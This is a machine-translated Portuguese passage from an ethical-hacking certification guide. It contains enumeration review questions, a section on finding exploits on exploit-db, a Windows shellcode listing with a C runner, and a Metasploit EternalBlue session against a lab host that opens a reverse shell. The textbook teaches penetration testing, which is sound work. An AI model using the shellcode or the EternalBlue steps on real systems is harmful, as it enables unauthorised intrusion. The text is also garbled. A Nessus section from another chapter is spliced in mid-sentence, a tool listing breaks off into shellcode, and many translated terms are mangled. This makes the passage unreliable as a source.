usará RMI em vez do portmap ou do protocolo SunRPC.
Outro programa que você pode usar em vários protocolos para enumeração é o Metasploit. O
Metasploit vem com muitos módulos que enumerarão compartilhamentos e usuários em SMB, serviços
usando SunRPC e vários outros protocolos. Se houver informações que podem ser enumeradas, o
Metasploit provavelmente tem um módulo que pode ser executado. Isso inclui módulos que enumerarão
usuários em servidores de e-mail por SMTP. Você também pode enumerar informações usando SNMP.
Claro, quando se trata de SNMP, você também pode usar ferramentas como snmpwalk.
Embora o Metasploit possa ser usado em vários protocolos diferentes para procurar diferentes informações
úteis, ele não é a única ferramenta que você pode usar. Existem ferramentas integradas para coletar informações
do SMB, por exemplo. É mais provável que você encontre essas ferramentas em sistemas Windows, mas também
pode encontrar ferramentas em sistemas Linux, especialmente se tiver o Samba instalado. O Samba é um pacote
de software que implementa o protocolo SMB em sistemas Unixlike. Existem também muitas ferramentas de
código aberto que podem ser usadas para diferentes protocolos. Se você estiver bem em usar o Linux, o Kali Linux
é uma distribuição que inclui centenas de ferramentas relacionadas à segurança.
Ao executar essa enumeração, você deve tomar notas para ter referências quando for prosseguir. Uma
vantagem de usar o Metasploit, para não exagerar neste software, é que ele usa um backend de banco de
dados, que armazenará muitas informações automaticamente. Isso certamente é verdade para serviços e
portas, mas também para nomes de usuários que foram identificados. Isso não quer dizer que o
Metasploit pode ser usado para armazenar todos os aspectos do seu engajamento, mas você pode
consultar os detalhes mais tarde consultando o banco de dados do Metasploit conforme necessário.
228 Capítulo 6 - Enumeração
Perguntas de revisão
Você pode encontrar as respostas no Apêndice.
1.Para que os RPCs são usados principalmente?
UM.Comunicações entre processos
B.Semáforos interprocessos
C.Invocação de método remoto
E.Paginação de demanda de processo
2.O que você tentaria enumerar se usasse o enum4linux?
UM.Procedimentos
B.Serviços baseados em Linux
C.Ações e/ou usuários
E.Utilização da memória
3.Como você autentica com SNMPv1?
UM.Nome de usuário/senha
B.Rachadura
C.Cadeia de caracteres pública
E.Cadeia de caracteres da comunidade
4.Qual comando SMTP você usaria para obter a lista de usuários em uma lista de e-mail?
UM.EXPEDIÇÃO
B.VRFY
C.EXPN
E.VRML
5.Para que tipo de enumeração você usaria o utilitário dirb?
UM.Listagens de diretórios
B.Enumeração de diretório
C.Discagem por força bruta
E.Análise de diretório de usuários
6.Como são chamadas as descrições de dados no SNMP?
UM.Informação baseada em gestão
B.Definição de estrutura de dados
C.Linguagem de marcação extensível
E.Base de informações de gestão
Perguntas de revisão 229
7.Qual é o processo pelo qual os programas Java se identificam quando estão compartilhando
procedimentos pela rede?
UM.Registro RMI
B.Mapeador RMI
C.Banco de dados RMI
E.Processo RMI
8.Você está trabalhando com um colega e o vê interagindo com um servidor de e-mail
usando o comando VRFY. O que seu colega está fazendo?UM.Verificando comandos SMTP
B.Verificando listas de discussão
C.Verificando endereços de e-mail
E.Verificando a configuração do servidor
9.Para que é usado o protocolo SMB?
UM.Transferências de dados usando NFS
B.Transferências de dados em sistemas Windows
C.Transferências de dados para anexos de e-mail
E.Transferências de dados para atualizações do Registro do Windows
10.Qual destes é um programa integrado no Windows para coletar informações usando SMB?
UM.nmblookup
B.cliente smb
C.Metasploit
E.nbtstat
11.Qual código de status você receberá se sua tentativa de usar o comando VRFY falhar?
UM.550
B.501
C.250
E.200
12.Que programa você usaria para enumerar serviços?
UM.cliente smb
B.Nmap
C.enum4linux
E.caminhada rápida
230 Capítulo 6 - Enumeração
13.Qual versão do SNMP introduziu criptografia e autenticação baseada em usuário?
UM.1
B.2
C.2c
E.3
14.Quais destes você poderia enumerar em um site WordPress usando o wpscan?
UM.Plug-ins
B.Postagens
C.Administradores
E.Versões
15.Qual dessas ferramentas permite que você crie sua própria função de enumeração com base em portas
identificadas como abertas?
UM.Metasploit
B.Nmap
C.Netcat
E.nbtstat
16.Qual funcionalidade subjacente é necessária para habilitar o compartilhamento de arquivos do Windows?
UM.Sistema de arquivos de rede
B.Sistema de arquivos comum da Internet
C.Chamada de procedimento remoto
E.Invocação de método remoto
17.Para que serve a cota IPC$?
UM.Tubulação de processo
B.Construção interprocessual
C.Gestão de processos remotos
E.Comunicação entre processos
18.Qual ferramenta um programa Java precisa usar para implementar comunicação de processo remoto?
UM.JRE
B.rmico
C.rmir
E.JDK
Perguntas de revisão 231
19.Qual destes passa objetos entre sistemas?
UM.SunRPC
B.PMEs
C.RMI
E.Nmap
20.Se você precisasse enumerar dados em vários serviços e também armazená-los para recuperação posterior, qual
ferramenta você usaria?
UM.Metasploit
B.Nmap
C.RMI
E.Postgres
Por Ric Messier
Capítulo Hacking de sistema
7 Os seguintes tópicos do exame CeH são
abordados neste capítulo:
- - Vulnerabilidades
- - Ferramentas de exploração
- - Linguagens de programação
- - Ambientes operacionais
- - Procedimentos de verificação
- - Métodos de avaliação técnica
É aqui que chegamos ao que muitas pessoas pensam ser o que é
“hacking”, ou teste de penetração. Certamente, o hacking de
sistemas é um elemento importante, pois é onde você demonstra
que as vulnerabilidades realmente existem, mas é
não é o único. Testes de penetração, ou hacking ético, não são apenas sobre invadir sistemas —
pilhagem e pilhagem. Tenha em mente que o objetivo é sempre ajudar as organizações a melhorar
sua postura de segurança. Explorar vulnerabilidades para obter acesso a sistemas é uma maneira de
fazer isso. Invadir um sistema demonstra a existência da vulnerabilidade e também fornece
caminhos potenciais para outros sistemas.
Com o objetivo final em mente e com a lista de vulnerabilidades em vigor, podemos começar a
procurar por exploits. Há várias maneiras de fazer isso, algumas mais eficazes do que outras. Um
método pode ser feito diretamente no sistema do qual você está executando seus testes. Localizar os
exploits é essencial para poder executá-los em seus sistemas de destino para obter acesso. Depois de
obter acesso, você passa para as atividades pós-exploração.
Você vai querer pegar senhas e tentar quebrá-las. Isso faz duas coisas. Primeiro, demonstra
que há senhas que podem ser quebradas — senhas fortes não devem ser quebradas sem levar
uma quantidade imensa de tempo e recursos de computação. Se você pode facilmente
quebrar uma senha, ela não é forte o suficiente e deve ser alterada. Segundo, nomes de
usuários e senhas são credenciais que você pode usar em outros sistemas.
Apenas entrar em um sistema pode não lhe render muito. Quando você executa um exploit, você só tem as
permissões que foram fornecidas ao usuário com o qual o serviço está sendo executado. Normalmente, esse é um
conjunto reduzido de permissões. Como resultado, você pode não conseguir fazer muita coisa. Pelo menos, você
pode não conseguir fazer muita coisa sem ganhar um nível mais alto de privilégios. Isso significa que você precisa
de uma vulnerabilidade local, uma que exista em um software que só pode ser acessado ou executado quando você
estiver logado no sistema. Executar essas escalações de privilégios, se forem bem-sucedidas, lhe dará outro nível de
informação e acesso que você pode usar.
Os invasores geralmente tentarão obscurecer sua existência em um sistema. Se você realmente estiver
trabalhando em uma capacidade de equipe vermelha, onde as equipes de operações em seu alvo estão sendo
testadas quanto à sua capacidade de detectar e responder, você também vai querer cobrir seus rastros. Existem
várias etapas que você pode querer seguir para ocultar sua existência. Isso pode ser especialmente verdadeiro se
houver evidências de sua infiltração inicial no sistema.
Procurando por Exploits
Você fez sua enumeração e sua varredura para identificar vulnerabilidades. Então você tem uma lista de
vulnerabilidades que parecem promissoras. Você precisa de maneiras de explorar as vulnerabilidades, e mesmo
se pudesse, você simplesmente não tem tempo para escrever exploits você mesmo. Você pode
Procurando por Exploits 235
bem, aproveite o trabalho de outros para obter exploits para que você possa demonstrar claramente a
vulnerabilidade. Essa é uma das principais razões para executar o exploit, afinal. Você precisa demonstrar
que uma vulnerabilidade é explorável para quando você relatar ao seu cliente/empregador. Outra razão
para executar o exploit é ganhar uma camada adicional para que você possa girar para outras redes para
procurar mais vulnerabilidades.
Parte de ser um hacker ético é garantir que você tenha permissão e não esteja
causando nenhum dano. No entanto, o objetivo de qualquer hacker ético deve ser
melhorar a segurança. Este é um ponto importante. Entrar na rede de um cliente para
derrubar o máximo de sistemas que puder, apenas para ter feito isso sem nenhum
caminho para o cliente melhorar sua postura de segurança, não é muito ético. Tenha
em mente que seu objetivo é sempre melhorar a segurança e não apenas ver quanto
dano você pode causar.
Você pode estar se perguntando onde você poderia encontrar muitos exploits. Um ótimo recurso é
exploit-db.org. Este é um site onde pesquisadores e desenvolvedores postam código de exploit e código de
prova de conceito que funciona contra vulnerabilidades identificadas. Embora frequentemente esses
exploits cheguem a ferramentas como o Metasploit, eles nem sempre o fazem. Isso pode ser especialmente
verdadeiro se o exploit for apenas uma prova de conceito que não está totalmente implementada e pode
não levar o exploit até o fim. Se você der uma olhada na Figura 7.1, você pode ver uma lista do código para
exploits atuais. O que você vê é apenas uma lista de exploits remotos. Para ser justo, nem todos eles são
exploits da maneira que você pode pensar sobre exploits, se você estiver pensando em exploits como algo
que lhe dá um shell. No topo da lista, por exemplo, você verá um link para um script Python que enumera
nomes de usuários em uma instalação do OpenSSH 7.7.
figura 7.1Lista de explorações remotas em exploit-db.org
O que você vê é apenas uma única categoria de exploits. Você também verá exploits de aplicativos da web,
exploits de negação de serviço e exploits locais, que incluem exploits de escalonamento de privilégios. Embora os
exploits remotos possam parecer mais atraentes — afinal, quem não gosta de estourar uma caixa? — há muito
mais na exploração de sistemas do que apenas entrar remotamente. Na verdade, geralmente há maneiras muito
mais fáceis de se infiltrar em uma rede. No momento em que este artigo foi escrito, havia mais de 39.000 exploits
arquivados em exploit-db.org.
236 Capítulo 7 - Hacking de sistema
Muito do que você encontrará aqui são scripts escritosem linguagens como Python.
Se você conhece Python, pode lê-los. Não importa em que o exploit esteja escrito,
certifique-se de testá-lo em um lugar seguro com antecedência. Isso lhe dará uma
compreensão clara do que ele está fazendo e do impacto que provavelmente terá.
Pode haver uma maneira mais fácil de chegar aos exploits em vez de abrir um navegador e passar pelo
site. O Kali Linux tem o repositório de exploits disponível, bem como uma ferramenta que pode ser usada
para pesquisar o repositório a partir da linha de comando. Você não precisa se limitar apenas ao Kali. O
repositório inteiro é um repositório Git que pode ser clonado e usado em qualquer lugar. Como exemplo,
executando o Arch Strike sobre o Manjaro Linux, há um pacote para o repositório exploitdb, então você não
precisa estar executando o Kali. Existem outras distribuições que incluem este pacote. Você também pode
simplesmente clonar o repositório git deles.
Mas não é só o repositório que você obtém. Se esse fosse o caso, você teria que encontrar uma maneira de
localizar o exploit que está procurando. Em vez disso, há um script de shell que localizará os arquivos incluídos no
repositório que correspondem aos seus parâmetros de pesquisa. Como exemplo, na listagem de código a seguir,
você pode ver uma pesquisa por exploits OpenSSH. Isso foi inspirado pela vulnerabilidade de enumeração OpenSSH
atual. O programa usado é o searchsploit. Você pode pesquisar por palavras-chave, como mostrado, ou pode
especificar onde está procurando a palavra-chave, como no título. Você também pode fazer uma pesquisa com
distinção entre maiúsculas e minúsculas ou fazer uma pesquisa de correspondência exata. Tudo dependerá do que
você sabe sobre o que está procurando.
encontrando exploits com searchsploit
kilroy@savagewood $ searchsploit abre o ssh
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Título da exploração | Caminho
| (/usr/share/exploitdb-git/)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - - - - - - - Debian OpenSSH - (autenticado) R | exploits/linux/remote/6094.txt
Dropbear / Servidor OpenSSH - 'MAX_U | exploits/multiple/dos/1572.pl FreeBSD
OpenSSH 3.5p1 - Com remoto | exploits/freebsd/remote/17462.txt Novell Netware
6.5 - OpenSSH Remot | exploits/novell/dos/14866.txt OpenSSH 1.2 - Arquivo '.scp'
Criar/O | exploits/linux/remote/20253.sh OpenSSH 2.x/3.0.1/3.0.2 - Canal |
exploits/unix/remote/21314.txt OpenSSH 2.x/3.x - Kerberos 4 TGT/A | exploits/
linux/remote/21402.txt OpenSSH 3.x - Desafio-Resposta B | exploits/unix/remote/
21578.txt OpenSSH 3.x - Desafio-Resposta B | exploits/unix/remote/21579.txt
OpenSSH 4.3 p1 - Bloco Duplicado | exploits/multiple/dos/2444.sh OpenSSH 6.8
char shellcode[] =
"\x31\xC9" //xor ecx, ecx "\x64\x8B\x71\x30" //mov
esi, [fs:ecx+0x30] "\x8B\x76\x0C" //mov esi, [esi+
0x0C] "\x8B\x76\x1C" //mov esi, [esi+0x1c]
"\x8B\x06" //mov eax, [esi]
"\x8B\x68\x08" //mov ebp, [eax+0x08]
"\x68\x11\x11\x11\x11" //empurra 0x11111111
"\x66\x68\x11\x11" //empurra palavra 0x1111
"\x5B" //pop ebx
"\x53" //empurre ebx
"\x55" //empurre ebp
"\x5B" //pop ebx
238 Capítulo 7 - Hacking de sistema
Shellcode do repositório exploit-db(continua)
"\x66\x81\xC3\x4B\x85" //adicionar bx, 0x854b
"\xFF\xD3" //chamar ebx
"\xEB\xEA"; //jmp curto
int principal(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2; (*ret) =
(int) código shell;
}
O site exploit-db.com não é o único lugar para procurar exploits, mas é muito conveniente.
Também é provavelmente o melhor site legítimo disponível, e o fato de vir com uma ferramenta de
busca o torna muito útil. Se você quiser aprender muito sobre exploits e como eles são
desenvolvidos, este é um ótimo lugar para ir.
Mas você não precisa se limitar apenas a sites. Existem listas de discussão onde anúncios de
vulnerabilidades são feitos. Às vezes, junto com o anúncio de vulnerabilidade, você receberá um
código de prova de conceito. O quão longe você pode chegar com o código depende inteiramente
do pesquisador, da vulnerabilidade e do software. Às vezes, o que você receberá é apenas uma
demonstração de que a vulnerabilidade pode ser acionada, mas você pode não obter mais acesso
ao sistema remoto do que tinha antes.
Certamente há outros lugares onde você pode procurar por exploits. No entanto, você começa a
contornar as bordas da ética. A chamada dark web, ou darknet, é um lugar onde você pode procurar por
exploits. Se você tem um navegador Tor ou apenas o software que cria um servidor proxy que você pode
usar para conectar qualquer navegador, você pode começar a procurar por sites onde você pode obter
parte desse código. Há uma série de mecanismos de busca que você pode usar que são mais propensos a
encontrar alguns desses sites mais obscuros, como o Not Evil. Há considerações a serem lembradas, no
entanto. Uma é que os sites podem entrar e sair na rede Tor. Mesmo que o Not Evil mostre links em uma
busca, não há garantia de que você encontrará o site ativo e funcional. Ao vasculhar o Tor enquanto
escrevia isso, descobri que vários sites simplesmente não respondiam.
Segundo, você não sabe a fonte do exploit que você encontra. Há dois elementos aqui. Um é que
ele pode ter sido obtido ou desenvolvido ilegalmente. Isso cruza os limites éticos que você é
obrigado a aderir como um Hacker Ético Certificado. Talvez mais importante, no entanto, a menos
que você seja realmente bom em ler código-fonte,pode ver,
mas também fornece acesso à descoberta, avaliação, relatório e configurações avançadas. A aba Discovery
permite que você determine o tipo de descoberta que você fará na rede, o que significa que permite que você
defina parâmetros de varredura de porta. Por padrão, a varredura de porta será executada em portas comuns.
Você pode selecionar para deixá-la ser executada em todas as portas, o que pode significar que você pode
encontrar vulnerabilidades adicionais ou pelo menos algumas portas que você pode não ter esperado.
A aba Avaliação permite que você defina parâmetros sobre o que o Nessus deve escanear com relação a
vulnerabilidades da web. Por padrão, o Nessus não escaneia vulnerabilidades da web. Você pode definir diferentes
níveis de escaneamento de vulnerabilidades da web. Há outra configuração em Avaliação que é importante. Por
padrão, o Nessus limitará o número de falsos positivos encontrados. Deve-se notar que todas as configurações
mencionadas aqui estão na política de Escaneamento Básico de Rede. Outras políticas de escaneamento terão
configurações diferentes, algumas das quais você poderá alterar. Para ter acesso a todas as configurações, você
deve passar pelo Escaneamento Avançado, onde todas as configurações são expostas e podem ser alteradas.
A aba Relatório permite que você ajuste a verbosidade do relatório. Você pode querer limitar o número
de detalhes fornecidos, mantendo as informações no relatório no mínimo. Os relatórios do Nessus, por
padrão, são bastante abrangentes. Cada descoberta conterá detalhes sobre a vulnerabilidade, bem como
sua gravidade, referências associadas à vulnerabilidade e possíveis remediações. Incluir detalhes suficientes
para que tudo faça sentido para pessoas que podem não estar muito familiarizadas com o Nessus pode
ocupar muito espaço.
Conforme a varredura estiver em execução, e certamente quando estiver concluída, você poderá visualizar
os resultados. Inicialmente, você obterá uma lista de todas as vulnerabilidades ao abrir a varredura
174 Capítulo 5 - Redes de digitalização
clicando em seu nome em My Scans. Você pode ver uma lista parcial na Figura 5.21. Junto com a lista
de vulnerabilidades identificadas, você verá um gráfico de todas as vulnerabilidades identificadas
para indicar quais categorias têm mais vulnerabilidades. No caso do scan mostrado, a grande maioria
são mensagens informativas, enquanto o segundo maior número de vulnerabilidades está na
categoria de gravidade média.
figura 5. 21Lista de resultados da verificação
A lista de hosts é ordenada pelo número total de problemas identificados pelo Nessus, embora as
descobertas não sejam todas vulnerabilidades, pois há itens informativos, que não são vulnerabilidades. O
Nessus identificou um total de 50 hosts na rede, e o host com o endereço IP terminando em .52 tinha o
maior número de vulnerabilidades com base nas vulnerabilidades que o Nessus conhecia no momento da
varredura. Isso não quer dizer que não haja outras vulnerabilidades, que podem não ser conhecidas pelo
Nessus. Também é possível que haja falsos negativos, o que significa que o Nessus não identificou uma
vulnerabilidade conhecida, apesar do fato de que a vulnerabilidade existia no host escaneado. Na coluna da
direita, você verá uma porcentagem. Essa porcentagem indica o quão completa o Nessus acha que a
varredura contra esse host é. Este instantâneo foi tirado no meio da varredura.
No topo da página, você verá três abas. A primeira, e a que é apresentada primeiro, é a lista de
hosts. Ela é, como observado anteriormente, ordenada pelo número total de vulnerabilidades. A
segunda aba é o número de vulnerabilidades. Ela é ordenada pela gravidade da descoberta. Os
problemas críticos estão no topo, seguidos pelos altos, depois os médios e assim por diante. Uma
varredura de hosts na minha rede identificou dois problemas críticos diferentes. Um deles estava
relacionado ao software da Mozilla Foundation. De acordo com o Nessus, o Thunderbird
Verificação de vulnerabilidades 175
ou o Firefox está instalado no host de destino, embora a versão instalada não seja mais suportada. O
segundo problema tem a ver com um sistema macOS. A versão do sistema operacional instalado está
uma atrás da mais atual. A Figura 5.22 mostra detalhes relacionados à vulnerabilidade do Mozilla.
figura 5. 2 2Encontrando detalhes
Você verá na saída uma descrição da descoberta. Você também verá a solução, que é
atualizar para uma versão suportada. Abaixo disso, há referências a outros sites que podem
fornecer detalhes adicionais sobre o problema. Abaixo dos sites de referência, estão os
detalhes do plug-in de verificação. Isso mostra a versão do aplicativo encontrado, bem como a
versão atual do aplicativo que está disponível. Isso mostra que a versão instalada é cinco
versões anteriores, e a versão atual disponível e suportada pela Mozilla Foundation é 61.0. O
que você não vê nesta saída é o endereço IP do segundo host onde esse problema foi
identificado. Apenas um dos endereços IP é mostrado para resumir.
Também na parte superior há uma aba chamada Remediations. Ela fornece uma saída indicando como algumas
das vulnerabilidades identificadas podem ser remediadas. Você verá na Figura 5.23 que as quatro remediações
identificadas estão todas relacionadas à atualização para a versão mais recente do software, incluindo, em um caso,
a atualização da versão do sistema operacional em uso.
176 Capítulo 5 - Redes de digitalização
figura 5 . 2 3Lista de remediações
Como já foi observado várias vezes, as severidades variam, e só porque o Nessus acredita que uma severidade
deve estar em um certo nível não significa que você, com seu conhecimento do ambiente com o qual está
trabalhando, concordará. Você pode criar regras no Nessus para que as descobertas associadas a certos hosts
possam ser recategorizadas automaticamente. Isso pode ser feito na guia Regras de Plug-in ao longo do quadro de
navegação à esquerda na visualização principal. A Figura 5.24 mostra a aparência da caixa de diálogo para as
configurações das Regras de Plug-in. Você pode especificar um host ou apenas deixar esse campo em branco para
todos os hosts. Você precisaria especificar o ID do plug-in ao qual a regra se aplica. Com todos os parâmetros em
vigor para identificar a que a regra se aplica, você apenas define a severidade que deseja associar e o Nessus
cuidará do resto.
figura 5. 2 4Configurações de regras de plugins
Ao contrário do OpenVAS, o Nessus não oferece uma maneira de adicionar notas às descobertas. Uma coisa
que você obtém, porém, que não obtém no OpenVAS é uma trilha de auditoria. Você pode pesquisar por ID de
plug-in e por host e obter detalhes adicionais sobre o plug-in que foi executado. Como exemplo,
Criação e manipulação de pacotes 177
a busca pelo ID do plug-in na descoberta crítica desatualizada do macOS mostra os endereços IP dos hosts onde o
Nessus não conseguiu identificar o sistema operacional, hosts onde o Nessus identificou o sistema operacional,
mas não era o macOS, e também endereços IP onde o sistema operacional estava correto, mas o número da versão
não estava correto, o que significa que não houve nenhuma descoberta resultante da execução do plug-in.
Assim como o OpenVAS, o Nessus usa scripts de Network Attack Scripting Language (NASL). Eles são
armazenados com o restante da instalação do Nessus. No Windows, a instalação estaria no diretório
Program Files. No Linux, os arquivos são armazenados em /opção/nessuscom os plugins em /opt/nessus/
lib/plugins.Se você quiser ver exatamente o que um plug-in faz para poder verificar a descoberta, você deve
verificar o script. Você pode usar o ID do plug-in para identificar o arquivo que é executado para esse plug-
in. O script, uma vez que você se acostumar a lê-los, fornecerá os detalhes sobre como replicar o teste de
vulnerabilidade para que você possa verificar. Essa verificação não é importante apenas para descartar
falsos positivos, masmesmo que o código-fonte esteja ofuscado, você
pode descobrir que está trabalhando com software infectado que pode comprometer você e seu
alvo de maneiras que você não esperava. É por isso que é tão importante trabalhar com sites e
pesquisadores legítimos e profissionais.
Finalmente, o Tor é pensado como um lugar para o anonimato. Isso inclui não apenas os usuários que
estão visitando os sites, mas também os próprios sites. Levará tempo para descobrir onde tudo está
localizado. Também é um lugar para comércio ilícito. Você pode encontrar algumas explorações na rede
Tor, mas é mais do que provável que, se encontrar, elas estarão à venda em vez de apenas oferecidas
para o bem da comunidade.
Comprometimento do sistema 239
Comprometimento do sistema
Exploração, ou comprometimento do sistema, servirá a dois propósitos para nós. Um deles é demonstrar
que as vulnerabilidades são legítimas e não apenas teóricas. Afinal, quando fazemos varredura de
vulnerabilidade, temos uma indicação de que um sistema pode ter uma vulnerabilidade, mas até que a
vulnerabilidade tenha sido explorada, não há garantia de que a vulnerabilidade exista, o que significa que
não temos certeza se ela realmente precisa ser corrigida ou não. O segundo motivo é que explorar uma
vulnerabilidade e comprometer um sistema pode nos levar mais para dentro da organização,
potencialmente expondo vulnerabilidades adicionais. Isso ocorre, em parte, porque podemos obter mais
acessibilidade mais profundamente na rede, mas também porque podemos coletar credenciais que
podem ser usadas em outros sistemas.
Vou abordar algumas maneiras diferentes de trabalhar no comprometimento do sistema. Vou
começar com o Metasploit, já que é uma abordagem muito comum. Deve-se notar que o Metasploit
não é o único framework de exploração disponível. Existem outras ofertas de software comercial que
farão a mesma coisa que o Metasploit. Embora o Metasploit tenha uma oferta comercial, e se você o
estiver usando para fins comerciais, deverá pagar pela licença comercial; há uma edição comunitária
também. Além disso, você pode obter uma cópia do Kali Linux, que tem o Metasploit pré-instalado.
Outros pacotes de software farão aproximadamente a mesma coisa que o Metasploit, e você deve
dar uma olhada neles para ver o que você pode preferir em um ambiente comercial.
Também podemos retornar ao exploit-db para algumas possibilidades adicionais de exploração. Depois de ter
uma lista de suas vulnerabilidades, você pode pesquisar o banco de dados de exploração para explorações reais
que podem ser usadas. Abordarei a identificação dos módulos e, em seguida, o uso deles. Em alguns casos, como
você verá, nem sempre é o caso de executar um único script.
Módulos Metasploit
Se houver um exploit conhecido para uma vulnerabilidade disponível, ele provavelmente encontrou seu caminho para o
Metasploit. Este é um programa que foi originalmente desenvolvido como uma estrutura de exploit. A ideia era fornecer
blocos de construção para que os exploits pudessem ser desenvolvidos rapidamente, reunindo um conjunto de módulos de
programação que pudessem ser usados. Além disso, shellcodes e codificadores estão disponíveis para serem colocados em
exploits que estão sendo desenvolvidos. Embora possa ter começado como uma estrutura de exploit visando pesquisadores
de segurança que identificam vulnerabilidades para que possam criar exploits facilmente, ele se tornou uma ferramenta
essencial para testadores de penetração e segurança. Um dos motivos é o grande número de módulos disponíveis que
podem ser usados durante o teste de sistemas e redes.
Quase todo o ciclo de vida de um teste de penetração pode ser manipulado dentro do Metasploit.
No momento em que este texto foi escrito, havia mais de 1.000 módulos auxiliares, muitos dos quais
são scanners que podem ser usados para reconhecimento e enumeração. Usando esses módulos,
você pode aprender como é a rede e quais serviços estão disponíveis. Você também pode importar
varreduras de vulnerabilidade do OpenVAS, Nessus e, claro, Nexpose, que é desenvolvido pela
mesma empresa responsável pelo Metasploit. Depois de ter todas essas informações, no entanto,
você deseja passar para a exploração. Atualmente, há 1.800
240 Capítulo 7 - Hacking de sistema
módulos de exploração no Metasploit, embora o número mude regularmente devido à
popularidade do software e ao trabalho de desenvolvimento do Rapid 7.
O Metasploit torna o trabalho de exploração consideravelmente mais fácil do que passar pelo processo
de criação de uma exploração manualmente, supondo que o Metasploit tenha uma exploração disponível.
Se não tiver, você será forçado a fazer uma manualmente, se puder. Usaremos a linha de comando para
isso, embora existam outras opções, como uma interface web se você obtiver o pacote do Rapid 7. A CLI
expõe tudo o que está acontecendo. Começaremos com o programa msfconsole. Existem várias maneiras
de adquirir o Metasploit, mas para isso, estou usando apenas uma instância do Kali Linux, que tem o
Metasploit instalado por padrão. Tudo o que precisei fazer foi configurar o banco de dados usado para
armazenar informações sobre hosts, vulnerabilidades e qualquer loot adquirido. Na listagem a seguir, você
pode ver a inicialização do msfconsole, que é o programa de linha de comando usado para interagir com o
Metasploit.
Iniciando o msfconsole
root@quiche:~# msfconsole
. .
.
dBBBBBBb
' dB '
dB'dB'dB' dBBP
dB'dB'dB' dBP
dB'dB'dB' dBBBBP
dBBBP dBBBBBBP dBBBBBB . o
BBP
dBP BB
dBP BB
dBBBBBBB
dBP
dBP
dBP
dBBBBBP dBBBBBb dBP
dB' dBP
dBBBB' dBP
dBBBBBBP dBBBBBBP
dB'.BP
dB'.BP dBP
. .
|
- - o--
|
dBP
dBP
dBBBBP dBP
dBP
dBP dBP
dBBBBP dBBBBP dBP
dB'.BP dBP dBP
dBP
.
.
o Para ir corajosamente onde
nenhuma concha jamais foi
=[ metasploit v4.17.8-dev
+ - - - - =[ 1803 exploits - 1027 auxiliares - 311 post
+ - - - - =[ 538 cargas úteis - 41 codificadores - 10 nops
+ - - - - =[ Teste gratuito do Metasploit Pro: http://r-7.co/trymsp ]
]
]
]
msf >
Comprometimento do sistema 241
Depois que o msfconsole for iniciado, precisamos localizar um exploit para uma
vulnerabilidade que foi identificada. Há um Windows Server na minha rede doméstica que vou
usar para demonstrar o exploit. Esta é uma instância do Metasploitable 3, então há vários
serviços vulneráveis que foram incorporados a ela, tornando-a perfeita para demonstrar e
praticar. Para encontrar um exploit, podemos procurá-lo. Você verá na listagem a seguir uma
busca por um módulo que executará o exploit EternalBlue, que tira proveito da vulnerabilidade
descrita em CVE-2017-0144. Há várias correspondências para esta busca. Poderíamos restringir
o escopo com alguns parâmetros adicionais, como especificar o tipo usando type:exploit, por
exemplo. Isso pode ser útil se você tiver uma lista muito longa de resultados e precisar facilitar
a identificação do correto.
Pesquisando metasploit
msf > pesquisar eternalblue
Módulos correspondentes
================
Nome
- - - -
Data de divulgação
- - - - - - - - - - - - - - -
2017-03-14
Classificação
- - - -
normal
Descrição
- - - - - - - - - - -
MS17-010assistant/admin/smb/ms17_010_command EternalRomance/EternalSynergy/EternalChampion SMB
Execução remota de comandos do Windows
auxiliar/scanner/smb/smb_ms17_010 normal
média
MS17-010 Detecção SMB RCE
MS17-010 Controle Remoto EternalBlue SMBexploit/windows/smb/ms17_010_eternalblue
Corrupção do pool do kernel do Windows
2017-03-14
exploit/windows/smb/ms17_010_eternalblue_win8
Corrupção do pool do kernel do Windows para Win8+
2017-03-14 média MS17-010 Controle Remoto EternalBlue SMB
exploit/windows/smb/ms17_010_psexec EternalSynergy/EternalChampion
SMB Execução remota de código do Windows
2017-03-14 normal MS17-010 Romance Eterno/
Há mais de um que poderíamos usar aqui, dependendo do que queremos realizar. Neste
caso, quero obter um shell no sistema remoto; o módulo auxiliar nos permitirá executar um
único comandono sistema remoto, que seria o mesmo que termina em psexec. Como
resultado, usaremos o exploit terminando em 010_eternalblue, como você pode ver na
próxima listagem de código. Isso nos dará um shell no host remoto. A partir desse shell,
podemos começar a emitir comandos, mas mais do que apenas um, o que os outros nos
deixariam fazer.
Depois de sabermos qual módulo estamos usando, nós o carregamos usando ousarcomando no
msfconsole. Cada módulo tem um conjunto de opções que podem ou precisam ser definidas. Em
alguns casos, as opções já terão padrões definidos, então você não precisa fazer nada. O único
parâmetro que sempre precisará ser definido é o do alvo. Este será RHOST ou RHOSTS, dependendo
se o módulo espera ter vários alvos. Um módulo de scanner, por exemplo, usará RHOSTS, enquanto
um módulo de exploração geralmente terá RHOST como o nome do parâmetro. Na listagem de
código a seguir, precisamos definir RHOST com o endereço IP do alvo da nossa tentativa de
exploração. Como esperado, a exploração foi bem-sucedida, nos dando acesso remoto ao sistema
de destino.
242 Capítulo 7 - Hacking de sistema
exploração eternalBlue
msf > usar exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > definir RHOST 192.168.86.24
RHOST => 192.168.86.24
exploração msf(windows/smb/ms17_010_eternalblue) > exploração
[*] Iniciado manipulador TCP reverso em 192.168.86.57:4444
[*] 192.168.86.24:445 - Conectando ao alvo para exploração.
[+] 192.168.86.24:445 - Conexão estabelecida para exploração.
[+] 192.168.86.24:445 - O sistema operacional de destino selecionado é válido para o sistema operacional indicado pela resposta SMB
[*] 192.168.86.24:445 - Despejo de buffer bruto CORE (51 bytes)
[*] 192.168.86.24:445 - 0x00000000
[*] 192.168.86.24:445 - 0x00000010
[*] 192.168.86.24:445 - 0x00000020
[*] 192.168.86.24:445 - 0x00000030
[+] 192.168.86.24:445 - Arco de destino selecionado válido para arco indicado pela resposta DCE/RPC
[*] 192.168.86.24:445 - Tentando explorar com 12 alocações de Groom.
[*] 192.168.86.24:445 - Enviando todos os fragmentos do pacote de exploração, exceto o último
[*] 192.168.86.24:445 - Iniciando preparação de pool não paginado
[+] 192.168.86.24:445 - Enviando buffers SMBv2
[+] 192.168.86.24:445 - Fechando conexão SMBv1 criando buraco livre adjacente ao buffer SMBv2.
[*] 192.168.86.24:445 - Enviando buffers SMBv2 finais.
